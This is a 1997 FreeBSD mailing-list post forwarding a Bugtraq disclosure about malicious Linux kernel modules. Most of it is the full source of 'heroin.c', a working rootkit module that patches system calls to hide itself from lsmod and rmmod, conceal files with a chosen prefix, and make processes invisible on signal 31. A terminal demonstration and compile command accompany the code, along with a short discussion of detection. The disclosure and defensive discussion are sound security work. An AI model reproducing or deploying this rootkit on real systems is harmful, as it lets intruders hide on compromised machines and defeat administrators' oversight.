From owner-freebsd-current Wed Nov 5 16:46:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id QAA23559 for current-outgoing; Wed, 5 Nov 1997 16:46:14 -0800 (PST) (envelope-from owner-freebsd-current) Received: from digger1.defence.gov.au (digger1.defence.gov.au [203.5.217.4]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id QAA23523 for ; Wed, 5 Nov 1997 16:45:48 -0800 (PST) (envelope-from Matthew.Thyer@dsto.defence.gov.au) Received: from fang.dsto.defence.gov.au (fang.dsto.defence.gov.au [131.185.2.5]) by digger1.defence.gov.au (8.7.5/8.7.3) with ESMTP id LAA30573 for ; Thu, 6 Nov 1997 11:15:05 +1030 (CST) Received: from eddie.dsto.defence.gov.au (eddie.dsto.defence.gov.au [131.185.2.111]) by fang.dsto.defence.gov.au (8.8.5/) with ESMTP id LAA25953 for ; Thu, 6 Nov 1997 11:15:41 +1030 (CST) Received: from dsto.defence.gov.au (localhost [127.0.0.1]) by eddie.dsto.defence.gov.au (8.8.5/8.8.5) with ESMTP id LAA01206 for ; Thu, 6 Nov 1997 11:15:41 +1030 (CST) Message-ID: <34611335.8601A3B@dsto.defence.gov.au> Date: Thu, 06 Nov 1997 11:15:41 +1030 From: Matthew Thyer Organization: Defence Science Technology Organisation X-Mailer: Mozilla 4.03b8 [en] (X11; I; FreeBSD 3.0-970618-SNAP i386) MIME-Version: 1.0 To: freebsd-current@freebsd.org Subject: [Fwd: Malicious Linux modules - be worried !] Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I assume FreeBSD LKMs could do this kind of thing too. > ------------- Begin Forwarded Message ------------- > > >From owner-bugtraq@NETSPACE.ORG Fri Oct 10 00:32:10 1997 > Approved-By: aleph1@UNDERGROUND.ORG > Date: Thu, 9 Oct 1997 00:37:52 -0500 > Reply-To: zarq@1STNET.COM > Sender: Bugtraq List > From: Runar Jensen > Subject: Malicious Linux modules > X-To: linux-security@redhat.com > To: BUGTRAQ@NETSPACE.ORG > Content-Length: 12203 > > As halflife demonstrated in Phrack 50 with his linspy project, it is trivial > to patch any system call under Linux from within a module. This means that > once your system has been compromised at the root level, it is possible for > an intruder to hide completely _without_ modifying any binaries or leaving > any visible backdoors behind. Because such tools are likely to be in use > within the hacker community already, I decided to publish a piece of code to > demonstrate the potentials of a malicious module. > > The following piece of code is a fully working Linux module for 2.1 kernels > that patches the getdents(), kill(), read() and query_module() calls. Once > loaded, the module becomes invisible to lsmod and a dump of /proc/modules by > modifying the output of every query_module() call and every read() call > accessing /proc/modules. Apparently rmmod also calls query_module() to list > all modules before attempting to remove the specified module, and will > therefore claim that the module does not exist even if you know its name. The > output of any getdents() call is modified to hide any files or directories > starting with a given string, leaving them accessible only if you know their > exact names. It also hides any directories in /proc matching pids that have a > specified flag set in its internal task structure, allowing a user with root > access to hide any process (and its children, since the task structure is > duplicated when the process does a fork()). To set this flag, simply send the > process a signal 31 which is caught and handled by the patched kill() call. > > To demonstrate the effects... > > [root@image:~/test]# ls -l > total 3 > -rw------- 1 root root 2832 Oct 8 16:52 heroin.o > [root@image:~/test]# insmod heroin.o > [root@image:~/test]# lsmod | grep heroin > [root@image:~/test]# grep heroin /proc/modules > [root@image:~/test]# rmmod heroin > rmmod: module heroin not loaded > [root@image:~/test]# ls -l > total 0 > [root@image:~/test]# echo "I'm invisible" > heroin_test > [root@image:~/test]# ls -l > total 0 > [root@image:~/test]# cat heroin_test > I'm invisible > [root@image:~/test]# ps -aux | grep gpm > root 223 0.0 1.0 932 312 ? S 16:08 0:00 gpm > [root@image:~/test]# kill -31 223 > [root@image:~/test]# ps -aux | grep gpm > [root@image:~/test]# ps -aux 223 > USER PID %CPU %MEM SIZE RSS TTY STAT START TIME COMMAND > root 223 0.0 1.0 932 312 ? S 16:08 0:00 gpm > [root@image:~/test]# ls -l /proc | grep 223 > [root@image:~/test]# ls -l /proc/223 > total 0 > -r--r--r-- 1 root root 0 Oct 8 16:53 cmdline > lrwx------ 1 root root 0 Oct 8 16:54 cwd -> /var/run > -r-------- 1 root root 0 Oct 8 16:54 environ > lrwx------ 1 root root 0 Oct 8 16:54 exe -> /usr/bin/gpm > dr-x------ 1 root root 0 Oct 8 16:54 fd > pr--r--r-- 1 root root 0 Oct 8 16:54 maps > -rw------- 1 root root 0 Oct 8 16:54 mem > lrwx------ 1 root root 0 Oct 8 16:54 root -> / > -r--r--r-- 1 root root 0 Oct 8 16:53 stat > -r--r--r-- 1 root root 0 Oct 8 16:54 statm > -r--r--r-- 1 root root 0 Oct 8 16:54 status > [root@image:~/test]# > > The implications should be obvious. Once a compromise has taken place, > nothing can be trusted, the operating system included. A module such as this > could be placed in /lib/modules//default to force it to be loaded > after every reboot, or put in place of a commonly used module and in turn > have it load the required module for an added level of protection. (Thanks > Sean :) Combined with a reasonably obscure remote backdoor it could remain > undetected for long periods of time unless the system administrator knows > what to look for. It could even hide the packets going to and from this > backdoor from the kernel itself to prevent a local packet sniffer from seeing > them. > > So how can it be detected? In this case, since the number of processes is > limited, one could try to open every possible process directory in /proc and > look for the ones that do not show up otherwise. Using readdir() instead of > getdents() will not work, since it appears to be just a wrapper for > getdents(). In short, trying to locate something like this without knowing > exactly what to look for is rather futile if done in userspace... > > Be afraid. Be very afraid. ;) > > .../ru > > ----- > > /* > * heroin.c > * > * Runar Jensen > * > * This Linux kernel module patches the getdents(), kill(), read() > * and query_module() system calls to demonstrate the potential > * dangers of the way modules have full access to the entire kernel. > * > * Once loaded, the module becomes invisible and can not be removed > * with rmmod. Any files or directories starting with the string > * defined by MAGIC_PREFIX appear to disappear, and sending a signal > * 31 to any process as root effectively hides it and all its future > * children. > * > * This code should compile cleanly and work with most (if not all) > * recent 2.1.x kernels, and has been tested under 2.1.44 and 2.1.57. > * It will not compile as is under 2.0.30, since 2.0.30 lacks the > * query_module() function. > * > * Compile with: > * gcc -O2 -fomit-frame-pointer -DMODULE -D__KERNEL__ -c heroin.c > */ > > #include > #include > #include > #include > #include > #include > > #include > #include > #include > > #define MAGIC_PREFIX "heroin" > > #define PF_INVISIBLE 0x10000000 > #define SIGINVISI 31 > > int errno; > > static inline _syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count); > static inline _syscall2(int, kill, pid_t, pid, int, sig); > static inline _syscall3(ssize_t, read, int, fd, void *, buf, size_t, count); > static inline _syscall5(int, query_module, const char *, name, int, which, void *, buf, size_t, > bufsize, size_t *, ret); > > extern void *sys_call_table[]; > > int (*original_getdents)(unsigned int, struct dirent *, unsigned int); > int (*original_kill)(pid_t, int); > int (*original_read)(int, void *, size_t); > int (*original_query_module)(const char *, int, void *, size_t, size_t *); > > int myatoi(char *str) > { > int res = 0; > int mul = 1; > char *ptr; > > for(ptr = str + strlen(str) - 1; ptr >= str; ptr--) { > if(*ptr < '0' || *ptr > '9') > return(-1); > res += (*ptr - '0') * mul; > mul *= 10; > } > return(res); > } > > void mybcopy(char *src, char *dst, unsigned int num) > { > while(num--) > *(dst++) = *(src++); > } > > int mystrcmp(char *str1, char *str2) > { > while(*str1 && *str2) > if(*(str1++) != *(str2++)) > return(-1); > return(0); > } > > struct task_struct *find_task(pid_t pid) > { > struct task_struct *task = current; > > do { > if(task->pid == pid) > return(task); > > task = task->next_task; > > } while(task != current); > > return(NULL); > } > > int is_invisible(pid_t pid) > { > struct task_struct *task; > > if((task = find_task(pid)) == NULL) > return(0); > > if(task->flags & PF_INVISIBLE) > return(1); > > return(0); > } > > int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) > { > int res; > int proc = 0; > struct inode *dinode; > char *ptr = (char *)dirp; > struct dirent *curr; > struct dirent *prev = NULL; > > res = (*original_getdents)(fd, dirp, count); > > if(!res) > return(res); > > if(res == -1) > return(-errno); > > #ifdef __LINUX_DCACHE_H > dinode = current->files->fd[fd]->f_dentry->d_inode; > #else > dinode = current->files->fd[fd]->f_inode; > #endif > > if(dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1) > proc = 1; > > while(ptr < (char *)dirp + res) { > curr = (struct dirent *)ptr; > > if((!proc && !mystrcmp(MAGIC_PREFIX, curr->d_name)) || > (proc && is_invisible(myatoi(curr->d_name)))) { > > if(curr == dirp) { > res -= curr->d_reclen; > mybcopy(ptr + curr->d_reclen, ptr, res); > continue; > } > else > prev->d_reclen += curr->d_reclen; > } > else > prev = curr; > > ptr += curr->d_reclen; > } > > return(res); > } > > int hacked_kill(pid_t pid, int sig) > { > int res; > struct task_struct *task = current; > > if(sig != SIGINVISI) { > res = (*original_kill)(pid, sig); > > if(res == -1) > return(-errno); > > return(res); > } > > if((task = find_task(pid)) == NULL) > return(-ESRCH); > > if(current->uid && current->euid) > return(-EPERM); > > task->flags |= PF_INVISIBLE; > > return(0); > } > > int hacked_read(int fd, char *buf, size_t count) > { > int res; > char *ptr, *match; > struct inode *dinode; > > res = (*original_read)(fd, buf, count); > > if(res == -1) > return(-errno); > > #ifdef __LINUX_DCACHE_H > dinode = current->files->fd[fd]->f_dentry->d_inode; > #else > dinode = current->files->fd[fd]->f_inode; > #endif > > if(dinode->i_ino != PROC_MODULES || MAJOR(dinode->i_dev) || MINOR(dinode->i_dev) != 1) > return(res); > > ptr = buf; > > while(ptr < buf + res) { > if(!mystrcmp(MAGIC_PREFIX, ptr)) { > match = ptr; > while(*ptr && *ptr != '\n') > ptr++; > ptr++; > mybcopy(ptr, match, (buf + res) - ptr); > res = res - (ptr - match); > return(res); > } > while(*ptr && *ptr != '\n') > ptr++; > ptr++; > } > > return(res); > } > > int hacked_query_module(const char *name, int which, void *buf, size_t bufsize, size_t *ret) > { > int res; > int cnt; > char *ptr, *match; > > res = (*original_query_module)(name, which, buf, bufsize, ret); > > if(res == -1) > return(-errno); > > if(which != QM_MODULES) > return(res); > > ptr = buf; > > for(cnt = 0; cnt < *ret; cnt++) { > if(!mystrcmp(MAGIC_PREFIX, ptr)) { > match = ptr; > while(*ptr) > ptr++; > ptr++; > mybcopy(ptr, match, bufsize - (ptr - (char *)buf)); > (*ret)--; > return(res); > } > while(*ptr) > ptr++; > ptr++; > } > > return(res); > } > > int init_module(void) > { > original_getdents = sys_call_table[SYS_getdents]; > sys_call_table[SYS_getdents] = hacked_getdents; > > original_kill = sys_call_table[SYS_kill]; > sys_call_table[SYS_kill] = hacked_kill; > > original_read = sys_call_table[SYS_read]; > sys_call_table[SYS_read] = hacked_read; > > original_query_module = sys_call_table[SYS_query_module]; > sys_call_table[SYS_query_module] = hacked_query_module; > > return(0); > } > > void cleanup_module(void) > { > sys_call_table[SYS_getdents] = original_getdents; > sys_call_table[SYS_kill] = original_kill; > sys_call_table[SYS_read] = original_read; > sys_call_table[SYS_query_module] = original_query_module; > } > > ----- > > ----- > Runar Jensen | Phone (318) 289-0125 | Email zarq@1stnet.com > Network Administrator | or (800) 264-7440 | or zarq@opaque.org > Tech Operations Mgr | Fax (318) 235-1447 | Epage zarq@page.1stnet.com > FirstNet of Acadiana | Pager (318) 268-8533 | [message in subject] > ------------- End Forwarded Message ------------- -- Matthew Thyer Phone: +61 8 8259 7249 Corporate Information Systems Fax: +61 8 8259 5537 Defence Science and Technology Organisation, Salisbury PO Box 1500 Salisbury South Australia 5108